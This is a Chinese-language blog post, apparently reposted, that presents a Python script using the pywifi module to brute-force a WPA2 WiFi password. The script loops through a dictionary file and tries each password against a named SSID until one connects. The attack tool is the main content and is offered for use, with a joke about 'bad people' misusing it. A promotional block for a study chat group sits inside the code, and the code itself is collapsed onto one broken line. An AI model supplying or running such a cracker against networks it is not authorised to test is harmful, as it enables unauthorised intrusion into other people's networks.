使用密碼字典 和 Python自帶的pywifi模塊窮舉WIFI密碼


 

俗話說“小時偷針,大時偷雞”,來告訴我們從小要養成良好的行為習慣。但是自從走上程序員這條路以后,學習變得枯燥,明明很有時間,“卻變得沒有時間了”,總之學習效率特別低效。閑話少說,下面開始詳細介紹Python窮舉WIFI密碼過程

 

工欲善其事必先利其器:

Python提供了一個非常有用的包來獲取網絡端口並與之交流(這個詞自我感覺比較貼切一點),所以首先我們先安裝pywifi這個包

一開始我用常規安裝命令,install pip pywifi,出現報錯。因為這個包不能用pip直接下載了(怕壞人學這個干壞事。。。自己腦補)自己去官網下載即可

 

 
         

"""
當然在學習Python的道路上肯定會困難,沒有好的學習資料,怎么去學習呢?
學習Python中有不明白推薦加入交流群號:928946953
群里有志同道合的小伙伴,互幫互助, 群里有不錯的視頻學習教程和PDF!
還有大牛解答!
"""


import
pywifi import time from pywifi import const def wifi_connnect(pwd): wifi = pywifi.PyWiFi() #拿到第一個 inter = wifi.interfaces()[0] #先斷開連接!!!!不斷就沒得搞手,先斷開,才可以連接其他的WIFI inter.disconnect() #休眠3秒 time.sleep(3) #如果是沒連接的狀態下 if inter.status() == const.IFACE_DISCONNECTED: #注意是大寫Pro f = pywifi.Profile() #設置好想要蹂躪的id f.ssid = "bdj" #密碼用字典 f.key = pwd #網卡的開放 f.auth = const.AUTH_ALG_OPEN #加密單元 f.cipher = const.CIPHER_TYPE_CCMP #加密算法的類型 f.akm.append(const.AKM_TYPE_WPA2PSK) #刪除之前的wifi文件 inter.remove_all_network_profiles() #設置新的連接文件 temp_p = inter.add_network_profile(f) #去連接它 inter.connect(temp_p) time.sleep(3) #連接成功直接return if inter.status() == const.IFACE_CONNECTED: return True else: return False else: print("connected") def readtxt(): #這里填自己字典的絕對路徑 path = "D:\填絕對路徑" #打開文件,設置為read模式 file = open(path, "r") #死循環 while True: #pwd 為讀取到的每一行 pwd = file.readline() # print(pwd) #如果連接上了,wifi_connect會return True 那么直接break吊while循環 res = wifi_connnect(pwd) if res: print("password is correct", pwd) break else: print("password is error", pwd) #調用函數 readtxt()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM